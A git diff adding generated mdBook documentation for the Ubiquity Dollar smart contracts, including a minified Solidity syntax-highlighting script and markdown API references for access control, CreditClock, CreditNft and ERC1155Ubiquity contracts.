@@ +table { + margin: 0 auto; + border-collapse: collapse; + width: 100%; +} + +table td:first-child { + width: 15%; +} + +table td:nth-child(2) { + width: 25%; +} \ No newline at end of file diff --git a/packages/contracts/docs/book.toml b/packages/contracts/docs/book.toml new file mode 100644 index 000000000..8cd34475e --- /dev/null +++ b/packages/contracts/docs/book.toml @@ -0,0 +1,12 @@ +[book] +src = "src" +title = "" + +[output.html] +additional-css = ["book.css"] +additional-js = ["solidity.min.js"] +git-repository-url = "https://github.com/ubiquity/ubiquity-dollar" +no-section-label = true + +[output.html.fold] +enable = true diff --git a/packages/contracts/docs/solidity.min.js b/packages/contracts/docs/solidity.min.js new file mode 100644 index 000000000..192493291 --- /dev/null +++ b/packages/contracts/docs/solidity.min.js @@ -0,0 +1,74 @@ +hljs.registerLanguage("solidity",(()=>{"use strict";function e(){try{return!0 +}catch(e){return!1}} +var a=/-?(\b0[xX]([a-fA-F0-9]_?)*[a-fA-F0-9]|(\b[1-9](_?\d)*(\.((\d_?)*\d)?)?|\.\d(_?\d)*)([eE][-+]?\d(_?\d)*)?|\b0)(?!\w|\$)/ +;e()&&(a=a.source.replace(/\\b/g,"(?{ +var a=r(e),o=l(e),c=/[A-Za-z_$][A-Za-z_$0-9.]*/,d=e.inherit(e.TITLE_MODE,{ +begin:/[A-Za-z$_][0-9A-Za-z$_]*/,lexemes:c,keywords:n}),u={className:"params", +begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,lexemes:c,keywords:n, +contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,o,s]},_={ +className:"operator",begin:/:=|->/};return{keywords:n,lexemes:c, +contains:[a,o,i,t,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,s,_,{ +className:"function",lexemes:c,beginKeywords:"function",end:"{",excludeEnd:!0, +contains:[d,u,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,_]}]}}, +solAposStringMode:r,solQuoteStringMode:l,HEX_APOS_STRING_MODE:i, +HEX_QUOTE_STRING_MODE:t,SOL_NUMBER:s,isNegativeLookbehindAvailable:e} +;const{baseAssembly:c,solAposStringMode:d,solQuoteStringMode:u,HEX_APOS_STRING_MODE:_,HEX_QUOTE_STRING_MODE:m,SOL_NUMBER:b,isNegativeLookbehindAvailable:E}=o +;return e=>{for(var a=d(e),s=u(e),n=[],i=0;i<32;i++)n[i]=i+1 +;var t=n.map((e=>8*e)),r=[];for(i=0;i<=80;i++)r[i]=i +;var l=n.map((e=>"bytes"+e)).join(" ")+" ",o=t.map((e=>"uint"+e)).join(" ")+" ",g=t.map((e=>"int"+e)).join(" ")+" ",M=[].concat.apply([],t.map((e=>r.map((a=>e+"x"+a))))),p={ +keyword:"var bool string int uint "+g+o+"byte bytes "+l+"fixed ufixed "+M.map((e=>"fixed"+e)).join(" ")+" "+M.map((e=>"ufixed"+e)).join(" ")+" enum struct mapping address new delete if else for while continue break return throw emit try catch revert unchecked _ function modifier event constructor fallback receive error virtual override constant immutable anonymous indexed storage memory calldata external public internal payable pure view private returns import from as using pragma contract interface library is abstract type assembly", +literal:"true false wei gwei szabo finney ether seconds minutes hours days weeks years", +built_in:"self this super selfdestruct suicide now msg block tx abi blockhash gasleft assert require Error Panic sha3 sha256 keccak256 ripemd160 ecrecover addmod mulmod log0 log1 log2 log3 log4" +},O={className:"operator",begin:/[+\-!~*\/%<>&^|=]/ +},C=/[A-Za-z_$][A-Za-z_$0-9]*/,N={className:"params",begin:/\(/,end:/\)/, +excludeBegin:!0,excludeEnd:!0,lexemes:C,keywords:p, +contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,s,b,"self"]},f={ +begin:/\.\s*/,end:/[^A-Za-z0-9$_\.]/,excludeBegin:!0,excludeEnd:!0,keywords:{ +built_in:"gas value selector address length push pop send transfer call callcode delegatecall staticcall balance code codehash wrap unwrap name creationCode runtimeCode interfaceId min max" +},relevance:2},y=e.inherit(e.TITLE_MODE,{begin:/[A-Za-z$_][0-9A-Za-z$_]*/, +lexemes:C,keywords:p}),w={className:"built_in", +begin:(E()?"(?`|`bytes4`|`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed| + + +### depositSingle + +Deposits a single token to staking + +Stable coin (DAI / USDC / USDT / Ubiquity Dollar) => Dollar-3CRV LP => Ubiquity Staking + +How it works: +1. User sends stablecoins (DAI / USDC / USDT / Dollar) +2. Deposited stablecoins are added to Dollar-3CRV Curve MetaPool +3. User gets Dollar-3CRV LP tokens +4. Dollar-3CRV LP tokens are transferred to the staking contract +5. User gets a staking share id + + +```solidity +function depositSingle(address token, uint256 amount, uint256 durationWeeks) + external + nonReentrant + returns (uint256 stakingShareId); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`token`|`address`|Token deposited : DAI, USDC, USDT or Ubiquity Dollar| +|`amount`|`uint256`|Amount of tokens to deposit (For max: `uint256(-1)`)| +|`durationWeeks`|`uint256`|Duration in weeks tokens will be locked (1-208)| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking share id| + + +### depositMulti + +Deposits into Ubiquity protocol + +Stable coins (DAI / USDC / USDT / Ubiquity Dollar) => uAD3CRV-f => Ubiquity StakingShare + +STEP 1 : Change (DAI / USDC / USDT / Ubiquity dollar) to 3CRV at uAD3CRV MetaPool + +STEP 2 : uAD3CRV-f => Ubiquity StakingShare + + +```solidity +function depositMulti(uint256[4] calldata tokenAmounts, uint256 durationWeeks) + external + nonReentrant + returns (uint256 stakingShareId); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmounts`|`uint256[4]`|Amount of tokens to deposit (For max: `uint256(-1)`) it MUST follow this order [Ubiquity Dollar, DAI, USDC, USDT]| +|`durationWeeks`|`uint256`|Duration in weeks tokens will be locked (1-208)| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking share id| + + +### withdraw + +Withdraws from Ubiquity protocol + +Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + +STEP 1 : Ubiquity StakingShare => uAD3CRV-f + +STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + + +```solidity +function withdraw(uint256 stakingShareId) external nonReentrant returns (uint256[4] memory tokenAmounts); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking Share Id to withdraw| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmounts`|`uint256[4]`|Array of token amounts [Ubiquity Dollar, DAI, USDC, USDT]| + + +### withdraw + +Withdraws from Ubiquity protocol + +Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + +STEP 1 : Ubiquity StakingShare => uAD3CRV-f + +STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + + +```solidity +function withdraw(uint256 stakingShareId, address token) external nonReentrant returns (uint256 tokenAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking Share Id to withdraw| +|`token`|`address`|Token to withdraw to : DAI, USDC, USDT, 3CRV or Ubiquity Dollar| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmount`|`uint256`|Amount of token withdrawn| + + +### isIdIncluded + +Checks whether `id` exists in `idList[]` + + +```solidity +function isIdIncluded(uint256[] memory idList, uint256 id) internal pure returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`idList`|`uint256[]`|Array to search in| +|`id`|`uint256`|Value to search in `idList`| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether `id` exists in `idList[]`| + + +### isMetaPoolCoin + +Checks that `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool + + +```solidity +function isMetaPoolCoin(address token) public view returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`token`|`address`|Token address to check| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool| + + +## Events +### DepositSingle +Emitted when user deposits a single token + + +```solidity +event DepositSingle( + address indexed sender, address token, uint256 amount, uint256 durationWeeks, uint256 stakingShareId +); +``` + +### DepositMulti +Emitted when user deposits multiple tokens + + +```solidity +event DepositMulti(address indexed sender, uint256[4] amounts, uint256 durationWeeks, uint256 stakingShareId); +``` + +### Withdraw +Emitted when user withdraws a single token + + +```solidity +event Withdraw(address indexed sender, uint256 stakingShareId, address token, uint256 amount); +``` + +### WithdrawAll +Emitted when user withdraws multiple tokens + + +```solidity +event WithdrawAll(address indexed sender, uint256 stakingShareId, uint256[4] amounts); +``` + diff --git a/packages/contracts/docs/src/src/dollar/README.md b/packages/contracts/docs/src/src/dollar/README.md new file mode 100644 index 000000000..fa02f431e --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/README.md @@ -0,0 +1,13 @@ + + +# Contents +- [access](/src/dollar/access) +- [core](/src/dollar/core) +- [facets](/src/dollar/facets) +- [interfaces](/src/dollar/interfaces) +- [libraries](/src/dollar/libraries) +- [mocks](/src/dollar/mocks) +- [upgradeInitializers](/src/dollar/upgradeInitializers) +- [utils](/src/dollar/utils) +- [DiamondArgs](Diamond.sol/struct.DiamondArgs.md) +- [Diamond](Diamond.sol/contract.Diamond.md) diff --git a/packages/contracts/docs/src/src/dollar/access/AccessControlInternal.sol/abstract.AccessControlInternal.md b/packages/contracts/docs/src/src/dollar/access/AccessControlInternal.sol/abstract.AccessControlInternal.md new file mode 100644 index 000000000..f6c5c9eca --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/access/AccessControlInternal.sol/abstract.AccessControlInternal.md @@ -0,0 +1,163 @@ +# AccessControlInternal +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/access/AccessControlInternal.sol) + +Role-based access control system + +*Derived from https://github.com/OpenZeppelin/openzeppelin-contracts (MIT license)* + +*https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/access/access_control/AccessControlInternal.sol* + + +## Functions +### onlyRole + +Checks that a method can only be called by the provided role + + +```solidity +modifier onlyRole(bytes32 role); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role name| + + +### _hasRole + +Checks whether role is assigned to account + + +```solidity +function _hasRole(bytes32 role, address account) internal view virtual returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to check| +|`account`|`address`|Account address to check| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether role is assigned to account| + + +### _checkRole + +Reverts if sender does not have a given role + + +```solidity +function _checkRole(bytes32 role) internal view virtual; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to query| + + +### _checkRole + +Reverts if given account does not have a given role + + +```solidity +function _checkRole(bytes32 role, address account) internal view virtual; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to query| +|`account`|`address`|Address to query| + + +### _getRoleAdmin + +Returns admin role for a given role + + +```solidity +function _getRoleAdmin(bytes32 role) internal view virtual returns (bytes32); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to query| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes32`|Admin role for the provided role| + + +### _setRoleAdmin + +Set admin role for a given role + + +```solidity +function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to set| +|`adminRole`|`bytes32`|role for the provided role| + + +### _grantRole + +Assigns role to a given account + + +```solidity +function _grantRole(bytes32 role, address account) internal virtual; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to assign| +|`account`|`address`|Recipient of role assignment| + + +### _revokeRole + +Unassigns role from given account + + +```solidity +function _revokeRole(bytes32 role, address account) internal virtual; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to unassign| +|`account`|`address`|Account to revoke a role from| + + +### _renounceRole + +Renounces role + + +```solidity +function _renounceRole(bytes32 role) internal virtual; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to renounce| + + diff --git a/packages/contracts/docs/src/src/dollar/access/README.md b/packages/contracts/docs/src/src/dollar/access/README.md new file mode 100644 index 000000000..061d52a83 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/access/README.md @@ -0,0 +1,4 @@ + + +# Contents +- [AccessControlInternal](AccessControlInternal.sol/abstract.AccessControlInternal.md) diff --git a/packages/contracts/docs/src/src/dollar/core/CreditClock.sol/contract.CreditClock.md b/packages/contracts/docs/src/src/dollar/core/CreditClock.sol/contract.CreditClock.md new file mode 100644 index 000000000..93ed6de13 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/CreditClock.sol/contract.CreditClock.md @@ -0,0 +1,154 @@ +# CreditClock +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/edf5f533467baa5ab7defe2b4b5180fa47724cdb/src/dollar/core/CreditClock.sol) + +CreditClock contract + + +## State Variables +### accessControl +Access control contract + + +```solidity +IAccessControl public accessControl; +``` + + +### one +ABDKMathQuad with value of 1. + + +```solidity +bytes16 private immutable one = uint256(1).fromUInt(); +``` + + +### rateStartBlock +The block height from where we start applying the rate. + + +```solidity +uint256 public rateStartBlock; +``` + + +### rateStartValue +This is the exchange rate of Credits for the start block. + + +```solidity +bytes16 public rateStartValue; +``` + + +### ratePerBlock +Deprecation rate. How many Dollars are deprecated on each block. + + +```solidity +bytes16 public ratePerBlock; +``` + + +## Functions +### onlyAdmin + +Modifier checks that the method is called by a user with the "Incentive manager" role + + +```solidity +modifier onlyAdmin(); +``` + +### constructor + +Contract constructor + + +```solidity +constructor(address _manager, bytes16 _rateStartValue, bytes16 _ratePerBlock); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|The address of the `_manager` contract for access control| +|`_rateStartValue`|`bytes16`|ABDKMathQuad Initial rate| +|`_ratePerBlock`|`bytes16`|ABDKMathQuad Initial rate change per block| + + +### setManager + +Updates the manager address + + +```solidity +function setManager(address _manager) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|New manager address| + + +### getManager + +Returns the manager address + + +```solidity +function getManager() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Manager address| + + +### setRatePerBlock + +Sets rate to apply from this block onward + + +```solidity +function setRatePerBlock(bytes16 _ratePerBlock) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_ratePerBlock`|`bytes16`|ABDKMathQuad new rate per block to apply from this block onward| + + +### getRate + +Calculates `rateStartValue * (1 / ((1 + ratePerBlock)^blockNumber - rateStartBlock)))` + + +```solidity +function getRate(uint256 blockNumber) public view returns (bytes16 rate); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`blockNumber`|`uint256`|Block number to get the rate for. 0 for current block.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`rate`|`bytes16`|ABDKMathQuad rate calculated for the block number| + + +## Events +### SetRatePerBlock +Emitted when depreciation rate per block is updated + + +```solidity +event SetRatePerBlock(uint256 rateStartBlock, bytes16 rateStartValue, bytes16 ratePerBlock); +``` + diff --git a/packages/contracts/docs/src/src/dollar/core/CreditNft.sol/contract.CreditNft.md b/packages/contracts/docs/src/src/dollar/core/CreditNft.sol/contract.CreditNft.md new file mode 100644 index 000000000..e226c65ba --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/CreditNft.sol/contract.CreditNft.md @@ -0,0 +1,167 @@ +# CreditNft +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/core/CreditNft.sol) + +**Inherits:** +[ERC1155Ubiquity](/src/dollar/core/ERC1155Ubiquity.sol/abstract.ERC1155Ubiquity.md), [ICreditNft](/src/dollar/interfaces/ICreditNft.sol/interface.ICreditNft.md) + +CreditNft redeemable for Dollars with an expiry block number + +ERC1155 where the token ID is the expiry block number + +*Implements ERC1155 so receiving contracts must implement `IERC1155Receiver`* + +*1 Credit NFT = 1 whole Ubiquity Dollar, not 1 wei* + + +## State Variables +### _totalOutstandingDebt +Total amount of CreditNfts minted + +*Not public as if called externally can give inaccurate value, see method* + + +```solidity +uint256 private _totalOutstandingDebt; +``` + + +### _tokenSupplies +Mapping of block number and amount of CreditNfts to expire on that block number + + +```solidity +mapping(uint256 => uint256) private _tokenSupplies; +``` + + +### _sortedBlockNumbers +Ordered list of CreditNft expiries + + +```solidity +StructuredLinkedList.List private _sortedBlockNumbers; +``` + + +## Functions +### onlyCreditNftManager + +Modifier checks that the method is called by a user with the "CreditNft manager" role + + +```solidity +modifier onlyCreditNftManager(); +``` + +### constructor + +Ensures initialize cannot be called on the implementation contract + + +```solidity +constructor(); +``` + +### initialize + +Initializes the contract + + +```solidity +function initialize(address _manager) public initializer; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the manager of the contract| + + +### mintCreditNft + +Mint an `amount` of CreditNfts expiring at `expiryBlockNumber` for a certain `recipient` + + +```solidity +function mintCreditNft(address recipient, uint256 amount, uint256 expiryBlockNumber) public onlyCreditNftManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`recipient`|`address`|Address where to mint tokens| +|`amount`|`uint256`|Amount of tokens to mint| +|`expiryBlockNumber`|`uint256`|Expiration block number of the CreditNfts to mint| + + +### burnCreditNft + +Burns an `amount` of CreditNfts expiring at `expiryBlockNumber` from `creditNftOwner` balance + + +```solidity +function burnCreditNft(address creditNftOwner, uint256 amount, uint256 expiryBlockNumber) public onlyCreditNftManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`creditNftOwner`|`address`|Owner of those CreditNfts| +|`amount`|`uint256`|Amount of tokens to burn| +|`expiryBlockNumber`|`uint256`|Expiration block number of the CreditNfts to burn| + + +### updateTotalDebt + +Updates debt according to current block number + +Invalidates expired CreditNfts + +*Should be called prior to any state changing functions* + + +```solidity +function updateTotalDebt() public; +``` + +### getTotalOutstandingDebt + +Returns outstanding debt by fetching current tally and removing any expired debt + + +```solidity +function getTotalOutstandingDebt() public view returns (uint256); +``` + +### _authorizeUpgrade + +Allows an admin to upgrade to another implementation contract + + +```solidity +function _authorizeUpgrade(address newImplementation) internal override(ERC1155Ubiquity) onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newImplementation`|`address`|Address of the new implementation contract| + + +## Events +### MintedCreditNft +Emitted on CreditNfts mint + + +```solidity +event MintedCreditNft(address recipient, uint256 expiryBlock, uint256 amount); +``` + +### BurnedCreditNft +Emitted on CreditNfts burn + + +```solidity +event BurnedCreditNft(address creditNftHolder, uint256 expiryBlock, uint256 amount); +``` + diff --git a/packages/contracts/docs/src/src/dollar/core/ERC1155Ubiquity.sol/abstract.ERC1155Ubiquity.md b/packages/contracts/docs/src/src/dollar/core/ERC1155Ubiquity.sol/abstract.ERC1155Ubiquity.md new file mode 100644 index 000000000..7e1c98d8d --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/ERC1155Ubiquity.sol/abstract.ERC1155Ubiquity.md @@ -0,0 +1,363 @@ +# ERC1155Ubiquity +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/core/ERC1155Ubiquity.sol) + +**Inherits:** +Initializable, ERC1155BurnableUpgradeable, ERC1155PausableUpgradeable, UUPSUpgradeable + +ERC1155 Ubiquity preset + +ERC1155 with: +- ERC1155 minter, burner and pauser +- TotalSupply per id +- Ubiquity Manager access control + + +## State Variables +### accessControl +Access control interface + + +```solidity +IAccessControl public accessControl; +``` + + +### holderBalances +Mapping from account to array of token ids held by the account + + +```solidity +mapping(address => uint256[]) public holderBalances; +``` + + +### totalSupply +Total supply among all token ids + + +```solidity +uint256 public totalSupply; +``` + + +### __gap +Allows for future upgrades on the base contract without affecting the storage of the derived contract + + +```solidity +uint256[50] private __gap; +``` + + +## Functions +### onlyMinter + +Modifier checks that the method is called by a user with the "Governance minter" role + + +```solidity +modifier onlyMinter() virtual; +``` + +### onlyBurner + +Modifier checks that the method is called by a user with the "Governance burner" role + + +```solidity +modifier onlyBurner() virtual; +``` + +### onlyPauser + +Modifier checks that the method is called by a user with the "Pauser" role + + +```solidity +modifier onlyPauser() virtual; +``` + +### onlyAdmin + +Modifier checks that the method is called by a user with the "Admin" role + + +```solidity +modifier onlyAdmin(); +``` + +### constructor + +Ensures __ERC1155Ubiquity_init cannot be called on the implementation contract + + +```solidity +constructor(); +``` + +### __ERC1155Ubiquity_init + +Initializes this contract with all base(parent) contracts + + +```solidity +function __ERC1155Ubiquity_init(address _manager, string memory _uri) internal onlyInitializing; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the manager of the contract| +|`_uri`|`string`|Base URI| + + +### __ERC1155Ubiquity_init_unchained + +Initializes the current contract + + +```solidity +function __ERC1155Ubiquity_init_unchained(address _manager) internal onlyInitializing; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the manager of the contract| + + +### getManager + +Returns access control address + + +```solidity +function getManager() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Access control address| + + +### setManager + +Sets access control address + + +```solidity +function setManager(address _manager) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|New access control address| + + +### setUri + +Sets base URI + + +```solidity +function setUri(string memory newURI) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newURI`|`string`|New URI| + + +### mint + +Creates `amount` new tokens for `to`, of token type `id` + + +```solidity +function mint(address to, uint256 id, uint256 amount, bytes memory data) public virtual onlyMinter; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to mint tokens| +|`id`|`uint256`|Token type id| +|`amount`|`uint256`|Tokens amount to mint| +|`data`|`bytes`|Arbitrary data| + + +### mintBatch + +Mints multiple token types for `to` address + + +```solidity +function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) + public + virtual + onlyMinter + whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to mint tokens| +|`ids`|`uint256[]`|Array of token type ids| +|`amounts`|`uint256[]`|Array of token amounts| +|`data`|`bytes`|Arbitrary data| + + +### pause + +Pauses all token transfers + + +```solidity +function pause() public virtual onlyPauser; +``` + +### unpause + +Unpauses all token transfers + + +```solidity +function unpause() public virtual onlyPauser; +``` + +### safeTransferFrom + +Transfers `amount` tokens of token type `id` from `from` to `to`. +Emits a `TransferSingle` event. +Requirements: +- `to` cannot be the zero address. +- If the caller is not `from`, it must have been approved to spend ``from``'s tokens via `setApprovalForAll`. +- `from` must have a balance of tokens of type `id` of at least `amount`. +- If `to` refers to a smart contract, it must implement `IERC1155Receiver-onERC1155Received` and return the +acceptance magic value. + + +```solidity +function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) + public + virtual + override; +``` + +### safeBatchTransferFrom + +Batched version of `safeTransferFrom()` +Emits a `TransferBatch` event. +Requirements: +- `ids` and `amounts` must have the same length. +- If `to` refers to a smart contract, it must implement `IERC1155Receiver-onERC1155BatchReceived` and return the +acceptance magic value. + + +```solidity +function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data +) public virtual override; +``` + +### holderTokens + +Returns array of token ids held by the `holder` + + +```solidity +function holderTokens(address holder) public view returns (uint256[] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`holder`|`address`|Account to check tokens for| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[]`|Array of tokens which `holder` has| + + +### _burn + +Destroys `amount` tokens of token type `id` from `account` +Emits a `TransferSingle` event. +Requirements: +- `account` cannot be the zero address. +- `account` must have at least `amount` tokens of token type `id`. + + +```solidity +function _burn(address account, uint256 id, uint256 amount) internal virtual override whenNotPaused; +``` + +### _burnBatch + +Batched version of `_burn()` +Emits a `TransferBatch` event. +Requirements: +- `ids` and `amounts` must have the same length. + + +```solidity +function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) + internal + virtual + override + whenNotPaused; +``` + +### _beforeTokenTransfer + +Hook that is called before any token transfer. This includes minting +and burning, as well as batched variants. +The same hook is called on both single and batched variants. For single +transfers, the length of the `ids` and `amounts` arrays will be 1. +Calling conditions (for each `id` and `amount` pair): +- When `from` and `to` are both non-zero, `amount` of ``from``'s tokens +of token type `id` will be transferred to `to`. +- When `from` is zero, `amount` tokens of token type `id` will be minted +for `to`. +- when `to` is zero, `amount` of ``from``'s tokens of token type `id` +will be burned. +- `from` and `to` are never both zero. +- `ids` and `amounts` have the same, non-zero length. + + +```solidity +function _beforeTokenTransfer( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data +) internal virtual override(ERC1155PausableUpgradeable, ERC1155Upgradeable); +``` + +### _authorizeUpgrade + +Allows an admin to upgrade to another implementation contract + + +```solidity +function _authorizeUpgrade(address newImplementation) internal virtual override onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newImplementation`|`address`|Address of the new implementation contract| + + diff --git a/packages/contracts/docs/src/src/dollar/core/ERC1155Ubiquity.sol/contract.ERC1155Ubiquity.md b/packages/contracts/docs/src/src/dollar/core/ERC1155Ubiquity.sol/contract.ERC1155Ubiquity.md new file mode 100644 index 000000000..c20a6bd67 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/ERC1155Ubiquity.sol/contract.ERC1155Ubiquity.md @@ -0,0 +1,363 @@ +# ERC1155Ubiquity +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/b1159e7c3923d0cfce274dbf1d6127a376670810/src/dollar/core/ERC1155Ubiquity.sol) + +**Inherits:** +Initializable, ERC1155BurnableUpgradeable, ERC1155PausableUpgradeable, UUPSUpgradeable + +ERC1155 Ubiquity preset + +ERC1155 with: +- ERC1155 minter, burner and pauser +- TotalSupply per id +- Ubiquity Manager access control + + +## State Variables +### accessControl +Access control interface + + +```solidity +IAccessControl public accessControl; +``` + + +### holderBalances +Mapping from account to array of token ids held by the account + + +```solidity +mapping(address => uint256[]) public holderBalances; +``` + + +### totalSupply +Total supply among all token ids + + +```solidity +uint256 public totalSupply; +``` + + +### __gap +Allows for future upgrades on the base contract without affecting the storage of the derived contract + + +```solidity +uint256[50] private __gap; +``` + + +## Functions +### onlyMinter + +Modifier checks that the method is called by a user with the "Governance minter" role + + +```solidity +modifier onlyMinter() virtual; +``` + +### onlyBurner + +Modifier checks that the method is called by a user with the "Governance burner" role + + +```solidity +modifier onlyBurner() virtual; +``` + +### onlyPauser + +Modifier checks that the method is called by a user with the "Pauser" role + + +```solidity +modifier onlyPauser() virtual; +``` + +### onlyAdmin + +Modifier checks that the method is called by a user with the "Admin" role + + +```solidity +modifier onlyAdmin(); +``` + +### constructor + +Ensures __ERC1155Ubiquity_init cannot be called on the implementation contract + + +```solidity +constructor(); +``` + +### __ERC1155Ubiquity_init + +Initializes this contract with all base(parent) contracts + + +```solidity +function __ERC1155Ubiquity_init(address _manager, string memory _uri) public initializer onlyInitializing; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the manager of the contract| +|`_uri`|`string`|Base URI| + + +### __ERC1155Ubiquity_init_unchained + +Initializes the current contract + + +```solidity +function __ERC1155Ubiquity_init_unchained(address _manager) public initializer onlyInitializing; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the manager of the contract| + + +### getManager + +Returns access control address + + +```solidity +function getManager() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Access control address| + + +### setManager + +Sets access control address + + +```solidity +function setManager(address _manager) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|New access control address| + + +### setUri + +Sets base URI + + +```solidity +function setUri(string memory newURI) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newURI`|`string`|New URI| + + +### mint + +Creates `amount` new tokens for `to`, of token type `id` + + +```solidity +function mint(address to, uint256 id, uint256 amount, bytes memory data) public virtual onlyMinter; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to mint tokens| +|`id`|`uint256`|Token type id| +|`amount`|`uint256`|Tokens amount to mint| +|`data`|`bytes`|Arbitrary data| + + +### mintBatch + +Mints multiple token types for `to` address + + +```solidity +function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) + public + virtual + onlyMinter + whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to mint tokens| +|`ids`|`uint256[]`|Array of token type ids| +|`amounts`|`uint256[]`|Array of token amounts| +|`data`|`bytes`|Arbitrary data| + 